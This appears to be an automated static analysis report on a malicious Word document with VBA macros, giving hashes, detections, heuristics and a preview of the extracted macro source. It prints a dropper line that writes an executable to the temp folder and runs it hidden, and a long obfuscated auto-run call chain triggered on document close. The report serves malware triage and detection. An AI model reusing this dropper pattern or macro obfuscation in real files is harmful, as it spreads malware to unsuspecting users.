Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ddf7a042fcaca76…

MALICIOUS

Office (OLE)

252.5 KB Created: 2017-05-26 01:38:00 Authoring application: Microsoft Office Word First seen: 2017-06-12
MD5: ace9792bc44adc76a383a8b3aa6dfb0e SHA-1: 913d7dd8c5c3076a39e4a76e0ccc561a563a3adc SHA-256: 7ddf7a042fcaca76d675cbf14004fa91e180db77dfcee7fe16ade11cdf20644d
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV and contains VBA macros. Heuristics indicate potential shell calls and obfuscation within the macros, suggesting they are designed to download and execute a second-stage payload. The presence of the 'macros.bas' artifact further supports this analysis.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6327761-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6327761-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Private Sub cYDoIlSJUro()
    Call glHvyaksiCa(VBA.Environ$("temp") & "\JCVFbxDLMvO.exe", ZdDVGHQzfOV):    Call Shell(VBA.Environ$("temp") & "\JCVFbxDLMvO.exe", 0)
    End Sub
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Private Sub cYDoIlSJUro()
    Call glHvyaksiCa(VBA.Environ$("temp") & "\JCVFbxDLMvO.exe", ZdDVGHQzfOV):    Call Shell(VBA.Environ$("temp") & "\JCVFbxDLMvO.exe", 0)
    End Sub
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 54509 bytes
SHA-256: da1ac200ab53e5a458334c5d86e64e929c05bc654b3b7ff6bde3a861ab7dd98a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
451 of 585 identifiers look randomly generated (e.g. 'nlrjzIRvLtK') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "tuuu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Public Sub docUMENt_clOsE(): Call NPvgniayVsj: End Sub
Private Sub NPvgniayVsj()
Call FDzBxpQnwZg
End Sub
Sub FDzBxpQnwZg()
Call IiTLhnoMNHG
End Sub
Static Function IiTLhnoMNHG() As Variant
Call PjQKjgfZolS
End Function
Static Function PjQKjgfZolS() As Long
Call TGUihchjaUE
End Function
Private Sub TGUihchjaUE()
Call cABuzTCiWzc
End Sub
Function cABuzTCiWzc() As String
Call vkxvqAGQIgd
End Function
Function vkxvqAGQIgd() As Integer
Call FWOUWqFAZNM
End Function
Private Function FWOUWqFAZNM() As Byte
Call nTDzGILFKse
End Function
Private Sub nTDzGILFKse()
Call yxDmBxpcwaY
End Sub
Function yxDmBxpcwaY() As Byte
Call hmcfzOZTDGB
End Function
Static Sub hmcfzOZTDGB()
Call IdUvnnENomK
End Sub
Private Sub IdUvnnENomK()
Call sKcBADSqQTz
End Sub
Private Sub sKcBADSqQTz()
Call UtFfCbbWWAU
End Sub
Sub UtFfCbbWWAU()
Call UoGOIbrXygY
End Sub
Static Function UoGOIbrXygY() As Boolean
Call LkbWDkCaELJ
End Function
Static Sub LkbWDkCaELJ()
Call MXLTYjwMArY
End Sub
Private Sub MXLTYjwMArY()
Call ELQoirlCbXU
End Sub
Static Sub ELQoirlCbXU()
Call HqkySoKasFv
End Sub
Static Sub HqkySoKasFv()
Call AWYgqvdBpnC
End Sub
Static Sub AWYgqvdBpnC()
Call SOlUTdDxFSt
End Sub
Function SOlUTdDxFSt() As Variant
Call lwrjyLGnNIC
End Function
Static Sub lwrjyLGnNIC()
Call EhnlpsKVzpE
End Sub
Static Sub EhnlpsKVzpE()
Call OSDKViJFQWm
End Sub
Private Sub OSDKViJFQWm()
Call iukZbOrZXEz
End Sub
Function iukZbOrZXEz() As Object
Call HttcAoshnjy
End Function
Static Sub HttcAoshnjy()
Call qjRUzFcYuPb
End Sub
Private Function qjRUzFcYuPb() As Currency
Call RZKlmfHSfvl
End Function
Function RZKlmfHSfvl() As Byte
Call CHSrAuWvHcZ
End Function
Static Sub CHSrAuWvHcZ()
Call rLDlgECMsGz
End Sub
Private Sub rLDlgECMsGz()
Call IHxyfmfuRUb
End Sub
Private Sub IHxyfmfuRUb()
Call zDSFavqxXzM
End Sub
Private Function zDSFavqxXzM() As String
Call AqCCvukkTfc
End Function
Static Sub AqCCvukkTfc()
Call DTgaTsHQGWJ
End Sub
Static Sub DTgaTsHQGWJ()
Call TTJBhcDaCAp
End Sub
Private Sub TTJBhcDaCAp()
Call aUGzjUundeB
End Sub
Private Sub aUGzjUundeB()
Call sNToMCUjuKs
End Sub
Sub sNToMCUjuKs()
Call nlrjzIRvLtK
End Sub
Static Function nlrjzIRvLtK()
Call GVnlqpVdxaM
End Function
Static Function GVnlqpVdxaM() As Single
Call dcMaARsAsDz
End Function
Private Function dcMaARsAsDz() As Double
Call yEspGxaTzmM
End Function
Function yEspGxaTzmM()
Call JitcBmEqlUG
End Function
Static Sub JitcBmEqlUG()
Call JZKytkBOpiH
End Sub
Static Function JZKytkBOpiH() As Byte
Call ylLeKvEtFKW
End Function
Sub ylLeKvEtFKW()
Call iSUkYLSWhsK
End Sub
Static Sub iSUkYLSWhsK()
Call YWFeEVzoSVk
End Sub
Private Sub YWFeEVzoSVk()
Call KwxygjrDOEk
End Sub
Function KwxygjrDOEk() As Currency
Call BsSFbsCGVjV
End Function
Static Sub BsSFbsCGVjV()
Call CfCCwrwtRQk
End Sub
Static Sub CfCCwrwtRQk()
Call uTHXGzliswg
End Sub
Private Function uTHXGzliswg() As Integer
Call xybhpwJGJeH
End Function
Private Sub xybhpwJGJeH()
Call qePQODdhFMO
End Sub
Static Function qePQODdhFMO() As Double
Call IWcEqlDdWrF
End Function
Static Sub IWcEqlDdWrF()
Call QQJQHdYcSXc
End Sub
Function QQJQHdYcSXc() As String
Call jAFRzKcKEEe
End Function
Function jAFRzKcKEEe() As Integer
Call tlVqfAbuVkN
End Function
Static Function tlVqfAbuVkN() As Boolean
Call bjKWOShAGPe
End Function
Private Sub bjKWOShAGPe()
Call nMKIJGKWsxY
End Sub
Sub nMKIJGKWsxY()
Call WCjBIXuNzdB
End Sub
Sub WCjBIXuNzdB()
Call wtcRvxZHkJL
End Sub
Function wtcRvxZHkJL() As Integer
Call hakXJMokMrz
End Function
Private Function hakXJMokMrz() As Integer
Call JJMBLkxQSYU
End Function
Private Sub JJMBLkxQSYU()
Call JENkRkNRtDY
End Sub
Function JENkRkNRtDY() As Date
Call mfZbiHAiVlF
End Function
Static Function mfZbiHAiVlF() As Double
Call nSKZDGuVRSU
End Function
Private Function nSKZDGuVRSU() As Object
Call fGOtNOjKsyQ
End Function
Private Function fGOtNOjKsyQ() As Long
Call vGrUayfUodw
End Function
Function vGrUayfUodw() As Byte
Call pmfCzEzvkKD
End Function
Static Sub pmfCzEzvkKD()
Call GesqbnZsBqu
End Sub
Private Function GesqbnZsBqu() As Boolean
Call PXZCtetqxVR
End Function
Private Sub PXZCtetqxVR()
Call iIVEkLyYjCT
End Sub
Sub iIVEkLyYjCT()
Call stmdQBxIAjB
End Sub
Sub stmdQBxIAjB()
Call MVSsWhfcHRO
End Sub
Private Function MVSsWhfcHRO() As Currency
Call wJAyJyObjGy
End Function
Function wJAyJyObjGy() As Long
Call fyZqHOySqmb
End Function
Sub fyZqHOySqmb()
Call sUIqRCFaxWg
End Sub
Static Sub sUIqRCFaxWg()
Call qXZNIDrpDAZ
End Sub
Private Sub qXZNIDrpDAZ()
Call SFCqLcAVJhu
End Sub
Sub SFCqLcAVJhu()
Call SADaRcQWkMz
End Sub
Static Sub SADaRcQWkMz()
Call vbPRizEnMvf
End Sub
Private Sub vbPRizEnMvf()
Call wOzODyyaIbu
End Sub
Private Sub wOzODyyaIbu()
Call oCEjMFnPjHq
End Sub
Sub oCEjMFnPjHq()
Call rhYtwDLoApR
End Sub
Sub rhYtwDLoApR()
Call yiVszwCAbTd
End Sub
Private Function yiVszwCAbTd() As Long
Call CFZQxsFLNDP
End Function
Private Sub CFZQxsFLNDP()
Call KzGcOjZJJim
End Sub
Function KzGcOjZJJim() As Double
Call djCdFQervPo
End Function
Static Function djCdFQervPo() As Integer
Call nVSClGdcMwX
End Function
Static Function nVSClGdcMwX() As Single
Call VSHiVYjhybp
End Function
Private Sub VSHiVYjhybp()
Call hwHUQNMDjJi
End Sub
Function hwHUQNMDjJi() As Byte
Call QlgNPewvqpL
End Function
Static Sub QlgNPewvqpL()
Call qcZdCDbpcVV
End Sub
Static Function qcZdCDbpcVV() As Integer
Call bJhjQTpSDCJ
End Function
Sub bJhjQTpSDCJ()
Call DsJNSrzyKje
End Sub
Sub DsJNSrzyKje()
Call DnKwYrPylOj
End Sub
Static Function DnKwYrPylOj() As Boolean
Call ujfETAZCrtU
End Function
Private Sub ujfETAZCrtU()
Call vWPBozUonaj
End Sub
Function vWPBozUonaj() As Single
Call nKUWyHJdOGf
End Function
Function nKUWyHJdOGf() As String
Call ppoghEhCfoG
End Function
Static Function ppoghEhCfoG() As Byte
Call jVcOGLAdcWN
End Function
Static Sub jVcOGLAdcWN()
Call ANpCitaZsBE
End Sub
Function ANpCitaZsBE() As Boolean
Call JHWOAlvXohb
End Function
Sub JHWOAlvXohb()
Call crSQrSzFaOd
End Sub
Static Function crSQrSzFaOd() As String
Call mdjpXIzqruM
End Function
Static Sub mdjpXIzqruM()
Call UaYUHaEvdZd
End Sub
Function UaYUHaEvdZd() As Double
Call fEYHBOiSOHX
End Function
Private Function fEYHBOiSOHX()
Call PtwzAfSJVnA
End Function
Static Function PtwzAfSJVnA() As Variant
Call pkpQnExDHTK
End Function
Private Function pkpQnExDHTK() As String
Call aRxWBULgiBy
End Function
Function aRxWBULgiBy() As String
Call CAazDsUMpiT
End Function
Function CAazDsUMpiT() As Variant
Call BvajJskNQNX
End Function
Sub BvajJskNQNX()
Call eWmaaPYerwE
End Sub
Private Function eWmaaPYerwE() As Byte
Call gJXXvOSRncT
End Function
Function gJXXvOSRncT() As Integer
Call YxbsFWHGPIP
End Function
Sub YxbsFWHGPIP()
Call oxFTTGDQKnv
End Sub
Static Function oxFTTGDQKnv() As Date
Call idtBrMWrHUC
End Function
Static Function idtBrMWrHUC()
Call zVFpTvwnXAt
End Function
Function zVFpTvwnXAt() As Single
Call uudkHAuApjL
End Function
Function uudkHAuApjL() As Single
Call bzjCcTVUFMS
End Function
Function bzjCcTVUFMS() As Boolean
Call lkzcIJUEWtA
End Function
Static Function lkzcIJUEWtA() As String
Call FNfqOpDYdbN
End Function
Sub FNfqOpDYdbN()
Call eLotnQEgtGM
End Sub
Function eLotnQEgtGM() As Variant
Call AgEWHuQlVqk
End Function
Static Sub AgEWHuQlVqk()
Call aXwmvUvfHVu
End Sub
Private Sub aXwmvUvfHVu()
Call YZOImVhuNzn
End Sub
Private Sub YZOImVhuNzn()
Call AIqmotqaUgI
End Sub
Private Sub AIqmotqaUgI()
Call ADrWuuGbvMM
End Sub
Private Sub ADrWuuGbvMM()
Call rzMdpDReBrx
End Sub
Function rzMdpDReBrx() As Integer
Call smwaKBLRxXN
End Function
Function smwaKBLRxXN() As Boolean
Call kaBvUJAGYEJ
End Function
Private Function kaBvUJAGYEJ() As Object
Call nFVFEHZeplj
End Function
Sub nFVFEHZeplj()
Call uGSEGzPrQPw
End Sub
Sub uGSEGzPrQPw()
Call ydWcFwSBCzh
End Sub
Function ydWcFwSBCzh() As Double
Call GXDnWnnAyeF
End Function
Private Sub GXDnWnnAyeF()
Call ZHzpNUrikLH
End Sub
Private Sub ZHzpNUrikLH()
Call jsPOtKqSBsp
End Sub
Sub jsPOtKqSBsp()
Call RqEtdcwYnXH
End Sub
Function RqEtdcwYnXH() As String
Call dTEgYRZuYFB
End Function
Private Function dTEgYRZuYFB() As Byte
Call MJdZWhJlfle
End Function
Function MJdZWhJlfle() As Single
Call nAWpKHpfRRo
End Function
Static Function nAWpKHpfRRo() As Object
Call XhevXWDIsyc
End Function
Static Function XhevXWDIsyc() As Integer
Call zQGZavMozfx
End Function
Static Function zQGZavMozfx() As Object
Call zLHIgvcpaKB
End Function
Private Sub zLHIgvcpaKB()
Call qHcQbEnsgpm
End Sub
Function qHcQbEnsgpm() As Long
Call ruMNwDhfcWB
End Function
Static Sub ruMNwDhfcWB()
Call jiRhFKWUDCy
End Sub
Private Sub jiRhFKWUDCy()
Call lNlspIusUkY
End Sub
Function lNlspIusUkY() As Double
Call ftZaOPOTRSg
End Function
Function ftZaOPOTRSg() As Byte
Call wlmOqxoPhxW
End Function
Static Sub wlmOqxoPhxW()
Call FfTaHoJOddu
End Sub
Private Sub FfTaHoJOddu()
Call YPPcyVNwPKv
End Sub
Private Function YPPcyVNwPKv() As Long
Call iAgBeLMggqe
End Function
Function iAgBeLMggqe() As Object
Call CdMQkruAnZr
End Function
Static Sub CdMQkruAnZr()
Call bbVTJSvIEDq
End Sub
Private Function bbVTJSvIEDq() As Single
Call LRtLIjfzKjT
End Function
Function LRtLIjfzKjT()
Call lImcvIKtwPc
End Function
Static Sub lImcvIKtwPc()
Call WpuhIYZWXxR
End Sub
Static Sub WpuhIYZWXxR()
Call yYXLLwiCeem
End Sub
Static Sub yYXLLwiCeem()
Call xTXvRwyDFJq
End Sub
Private Function xTXvRwyDFJq() As Object
Call aujmiTlUgsW
End Function
Sub aujmiTlUgsW()
Call chUjDSfHcYl
End Sub
Static Sub chUjDSfHcYl()
Call UVYENaUwEEi
End Sub
Static Function UVYENaUwEEi() As Currency
Call kVCeaJQGzjN
End Function
Sub kVCeaJQGzjN()
Call eBqNzQjhwQU
End Sub
Sub eBqNzQjhwQU()
Call vtCBbyJeMwL
End Sub
Static Function vtCBbyJeMwL() As Object
Call qRawOEHqefe
End Function
Private Function qRawOEHqefe() As Boolean
Call JCXyGlLYQMf
End Function
Private Function JCXyGlLYQMf() As Currency
Call hIwnPNiuLpT
End Function
Static Function hIwnPNiuLpT() As Integer
Call BkcCVtQOSXg
End Function
Static Function BkcCVtQOSXg() As Boolean
Call MOcpQhukEGa
End Function
Private Sub MOcpQhukEGa()
Call wEBhPyecKmD
End Sub
Sub wEBhPyecKmD()
Call WutyCXJWwRM
End Sub
Function WutyCXJWwRM() As Byte
Call HcCEQnXzXzB
End Function
Static Function HcCEQnXzXzB() As Currency
Call wgnywxEQJda
End Function
Static Function wgnywxEQJda() As String
Call zHXvStJMCuy
End Function
Private Sub zHXvStJMCuy()
Call qDsCNCUPJZj
End Sub
Function qDsCNCUPJZj() As Boolean
Call rqdzhBOCFFz
End Function
Static Sub rqdzhBOCFFz()
Call kehUrJDrglv
End Sub
Static Sub kehUrJDrglv()
Call mJCebGcPxTV
End Sub
Private Sub mJCebGcPxTV()
Call gpqNzNvquBd
End Sub
Function gpqNzNvquBd() As Object
Call xiCBcvVmKhT
End Function
Static Sub xiCBcvVmKhT()
Call GbjNtnqlGMr
End Sub
Private Sub GbjNtnqlGMr()
Call ZLgOkUuTstt
End Sub
Private Function ZLgOkUuTstt() As Byte
Call jxwnQKtDJab
End Function
Static Function jxwnQKtDJab() As Variant
Call RulSAczJuFt
End Function
Static Sub RulSAczJuFt()
Call cYlFvQdfgnn
End Sub
Private Function cYlFvQdfgnn() As Variant
Call LNKythNXnTQ
End Function
Private Sub LNKythNXnTQ()
Call mECOhGsQYza
End Sub
Function mECOhGsQYza() As Boolean
Call WlLUuWGuAgO
End Function
Static Sub WlLUuWGuAgO()
Call yUnyxuPZGNj
End Sub
Private Sub yUnyxuPZGNj()
Call yPohDufahsn
End Sub
Function yPohDufahsn() As String
Call bqAYURTsJbT
End Function
Sub bqAYURTsJbT()
Call cdkVpQNeFHj
End Sub
Static Sub cdkVpQNeFHj()
Call URpqyYCTgof
End Sub
Static Function URpqyYCTgof() As Single
Call lRSRMIyecSK
End Function
Private Sub lRSRMIyecSK()
Call exGzlORFZAS
End Sub
Sub exGzlORFZAS()
Call wpTnNwrBpfI
End Sub
Static Function wpTnNwrBpfI() As String
Call EjAzeoMzlLg
End Function
Static Sub EjAzeoMzlLg()
Call XTwBVVQhXsh
End Sub
Function XTwBVVQhXsh() As Single
Call hFMaBLPRoYQ
End Function
Sub hFMaBLPRoYQ()
Call ChspHrylvHd
End Sub
Static Function ChspHrylvHd()
Call bgBsgSytLlc
End Function
Private Sub bgBsgSytLlc()
Call KVakfiilSRF
End Sub
Private Function KVakfiilSRF() As Date
Call XrKkoWqtZBK
End Function
Function XrKkoWqtZBK() As Single
Call VtbHgXcIffD
End Function
Static Function VtbHgXcIffD() As Single
Call xcDkivlnlMY
End Function
Private Function xcDkivlnlMY() As Date
Call xXEUovBoNrc
End Function
Sub xXEUovBoNrc()
Call ayQLFToGoaI
End Sub
Function ayQLFToGoaI() As Integer
Call blBIaRiskGX
End Function
Static Function blBIaRiskGX() As Boolean
Call TZFdkZYhLmU
End Function
Static Sub TZFdkZYhLmU()
Call WEZnTXwGdUu
End Sub
Private Function WEZnTXwGdUu() As Long
Call dFWmWPnTEyG
End Function
Static Sub dFWmWPnTEyG()
Call hcaKUMpdqhs
End Sub
Static Function hcaKUMpdqhs() As Double
Call pWHVmDKcmNQ
End Function
Function pWHVmDKcmNQ() As Byte
Call WbMnHWmvCqW
End Function
Private Function WbMnHWmvCqW() As String
Call gNdNnMlgTXF
End Function
Private Function gNdNnMlgTXF()
Call OKSsWerlECX
End Function
Sub OKSsWerlECX()
Call ZoSeRTUHqkQ
End Sub
Static Function ZoSeRTUHqkQ() As Date
Call JdqXQjEzxQt
End Function
Static Sub JdqXQjEzxQt()
Call jUjnDJjtiwD
End Sub
Private Function jUjnDJjtiwD() As String
Call UBrtRYyWKdr
End Function
Sub UBrtRYyWKdr()
Call wkUXTxHBQKM
End Sub
Static Sub wkUXTxHBQKM()
Call vfUHZxXCsqR
End Sub
Private Function vfUHZxXCsqR() As Single
Call mbpOUGiGyVC
End Function
Private Sub mbpOUGiGyVC()
Call nOaLpFcsuBR
End Sub
Sub nOaLpFcsuBR()
Call gCegzMRhViN
End Sub
Function gCegzMRhViN() As Currency
Call ihzqiKpGmPo
End Function
Static Sub ihzqiKpGmPo()
Call cNnYHRIhjxv
End Sub
Static Sub cNnYHRIhjxv()
Call tFANjzidzdm
End Sub
Sub tFANjzidzdm()
Call CzgYBqDbvIJ
End Sub
Sub CzgYBqDbvIJ()
Call VjdasXIJhpL
End Sub
Private Function VjdasXIJhpL() As Currency
Call fUtzYNHuyWu
End Function
Private Sub fUtzYNHuyWu()
Call NSieIfNzjBM
End Sub
Function NSieIfNzjBM() As Boolean
Call YviRCUqWVjF
End Function
Sub YviRCUqWVjF()
Call HlHKBlaNcPi
End Sub
Static Function HlHKBlaNcPi() As Long
Call iczapKFHNvs
End Function
Private Function iczapKFHNvs() As Currency
Call SJIgCaTkpcg
End Function
Function SJIgCaTkpcg() As Double
Call uskKEydQvJB
End Function
Static Function uskKEydQvJB() As Long
Call unltKytQXoG
End Function
Static Sub unltKytQXoG()
Call XOxkbVgiyXm
End Sub
Private Function XOxkbVgiyXm() As Date
Call YBhhwUaVuDB
End Function
Function YBhhwUaVuDB() As String
Call QpmCGcPKVkx
End Function
Static Function QpmCGcPKVkx() As Boolean
Call hpPdULLUROd
End Function
Static Function hpPdULLUROd()
Call aVDLsSevOwk
End Function
Static Function aVDLsSevOwk() As Variant
Call sNQzVAErebb
End Function
Function sNQzVAErebb() As Integer
Call nmovIFCEwKt
End Function
Sub nmovIFCEwKt()
Call TrtMdZdYMoA
End Sub
Static Sub TrtMdZdYMoA()
Call dcJmJPdIdUj
End Sub
Private Function dcJmJPdIdUj() As Object
Call ItPEdltTwNh
End Function
Static Sub ItPEdltTwNh()
Call hsYHCLtbMsf
End Sub
Static Function hsYHCLtbMsf() As Object
Call DMnjXqGgobE
End Function
Private Sub DMnjXqGgobE()
Call dDgzKQlaaHN
End Sub
Sub dDgzKQlaaHN()
Call cGxVCRXpglG
End Sub
Sub cGxVCRXpglG()
Call DpazEpgVmSb
End Sub
Private Sub DpazEpgVmSb()
Call pOSTgDZkjBb
End Sub
Static Function pOSTgDZkjBb()
Call gKmabMjnpgM
End Function
Private Sub gKmabMjnpgM()
Call hxXXwLealNb
End Sub
Function hxXXwLealNb() As Variant
Call albsGTTPMtX
End Function
Static Function albsGTTPMtX() As Double
Call cQwCpRrneby
End Function
Private Sub cQwCpRrneby()
Call jStBsJiAEFK
End Sub
Private Sub jStBsJiAEFK()
Call npxYqGkKrow
End Sub
Function npxYqGkKrow() As Object
Call widkIxFJmUT
End Function
Static Function widkIxFJmUT() As Date
Call PSamzeJrYAV
End Function
Static Sub PSamzeJrYAV()
Call ZEqLfUJbphE
End Sub
Function ZEqLfUJbphE() As Variant
Call HBfqPmOhbMW
End Function
Function HBfqPmOhbMW() As Date
Call SffdJbsDNuP
End Function
Static Sub SffdJbsDNuP()
Call BUEWIrcuTas
End Sub
Private Sub BUEWIrcuTas()
Call cLwmvRHoFGC
End Sub
Function cLwmvRHoFGC() As Double
Call NtFsJgVRgnq
End Function
Function NtFsJgVRgnq() As Byte
Call obhWLEexnVL
End Function
Static Function obhWLEexnVL() As Currency
Call oWiFRFuyOAQ
End Function
Private Sub oWiFRFuyOAQ()
Call fSDNMOFBUfB
End Sub
Private Function fSDNMOFBUfB() As Single
Call gFnKhNzoQLQ
End Function
Function gFnKhNzoQLQ() As Double
Call YtserUodrsM
End Function
Private Function YtserUodrsM() As Boolean
Call bYMpbSNBJZn
End Function
Private Function bYMpbSNBJZn() As Object
Call UEAXzYgcFHu
End Function
Private Function UEAXzYgcFHu() As Variant
Call mxNLbHGZWnl
End Function
Function mxNLbHGZWnl() As Variant
Call vquXtybXSSI
End Function
Function vquXtybXSSI() As Variant
Call bvzpORDriwP
End Function
Function bvzpORDriwP()
Call lhPOuHCbzcy
End Function
Private Function lhPOuHCbzcy() As Byte
Call GJvdAnkvGLL
End Function
Private Sub GJvdAnkvGLL()
Call fIEgYOlDWpJ
End Sub
Function fIEgYOlDWpJ() As Currency
Call OxdYXeVudVm
End Function
Static Sub OxdYXeVudVm()
Call ooWpLEAoOBw
End Sub
Private Sub ooWpLEAoOBw()
Call ZWevYTORqjk
End Sub
Private Sub ZWevYTORqjk()
Call BFGYasYxwQF
End Sub
Sub BFGYasYxwQF()
Call BzHIgsoyXvJ
End Sub
Function BzHIgsoyXvJ() As Byte
Call eaTzxPbPzdq
End Function
Static Sub eaTzxPbPzdq()
Call fNEwSOVCvKF
End Sub
Private Sub fNEwSOVCvKF()
Call XBIRcVKrWqB
End Sub
Private Function XBIRcVKrWqB() As String
Call nBlsqFGBSVh
End Function
Static Sub nBlsqFGBSVh()
Call hhZaOMZcOCo
End Sub
Static Sub hhZaOMZcOCo()
Call yamOruzYfif
End Sub
Private Function yamOruzYfif() As Double
Call KADnXhKSuzW
End Function
Sub KADnXhKSuzW()
Call dkzpOOOAggX
End Sub
Sub dkzpOOOAggX()
Call BqYeYqlWbJL
End Sub
Private Sub BqYeYqlWbJL()
Call VTEteWTqisY
End Sub
Private Function VTEteWTqisY() As String
Call hwEgZLxMUaR
End Function
Function hwEgZLxMUaR() As Byte
Call QmdYYchDbGv
End Function
Static Function QmdYYchDbGv() As Single
Call qdWpLBMxMmE
End Function
Static Sub qdWpLBMxMmE()
Call bKevZQaaoTt
End Sub
Private Sub bKevZQaaoTt()
Call ROPpFbHsZxS
End Sub
Sub ROPpFbHsZxS()
Call DoHIhpzHVgS
End Sub
Static Sub DoHIhpzHVgS()
Call tkcPcyKKcLD
End Sub
Static Sub tkcPcyKKcLD()
Call vXNMxxExYrS
End Sub
Private Sub vXNMxxExYrS()
Call nLRhHEtmzXO
End Sub
Private Sub nLRhHEtmzXO()
Call pqlsqCSKQFp
End Sub
Sub pqlsqCSKQFp()
Call jWZaPJllMnw
End Sub
Static Function jWZaPJllMnw() As Byte
Call AOmOrrLhdTn
End Function
Private Sub AOmOrrLhdTn()
Call JHTaIiggZyK
End Sub
Function JHTaIiggZyK() As Currency
Call csPbAPkOLfM
End Function
Static Function csPbAPkOLfM() As Long
Call mdgBgFjycMv
End Function
Private Function mdgBgFjycMv() As Object
Call UbVgPXpENqN
End Function
Private Sub UbVgPXpENqN()
Call fEVSKMSazYG
End Sub
Function fEVSKMSazYG() As Single
Call PutLJdCRGFj
End Function
Sub PutLJdCRGFj()
Call pkmbwCiLrkt
End Sub
Static Function pkmbwCiLrkt() As Long
Call aSuhKSwoTSh
End Function
Private Sub aSuhKSwoTSh()
Call BBXLMqFUZzC
End Sub
Sub BBXLMqFUZzC()
Call BwXvSqVVAeH
End Sub
Static Function BwXvSqVVAeH() As Object
Call eXjmjNImcNn
End Function
Static Sub eXjmjNImcNn()
Call fJUjEMDZYtC
End Sub
Static Function fJUjEMDZYtC() As String
Call lThUsGPAeWD
End Function
Static Sub lThUsGPAeWD()
Call CTKvFpLKaAj
End Sub
Private Function CTKvFpLKaAj()
Call vzzdewelWiq
End Function
Sub vzzdewelWiq()
Call NrLRGeEhnOh
End Sub
Static Function NrLRGeEhnOh() As Integer
Call WlsdYWZgjtE
End Function
Static Sub WlsdYWZgjtE()
Call oVpePDdOUaG
End Sub
Sub oVpePDdOUaG()
Call yGFDvtcylHo
End Sub
Sub yGFDvtcylHo()
Call TjlSBZLSspB
End Sub
Static Function TjlSBZLSspB() As Object
Call shuVZzMaJUA
End Function
Private Function shuVZzMaJUA() As String
Call bXTOYQwRPAd
End Function
…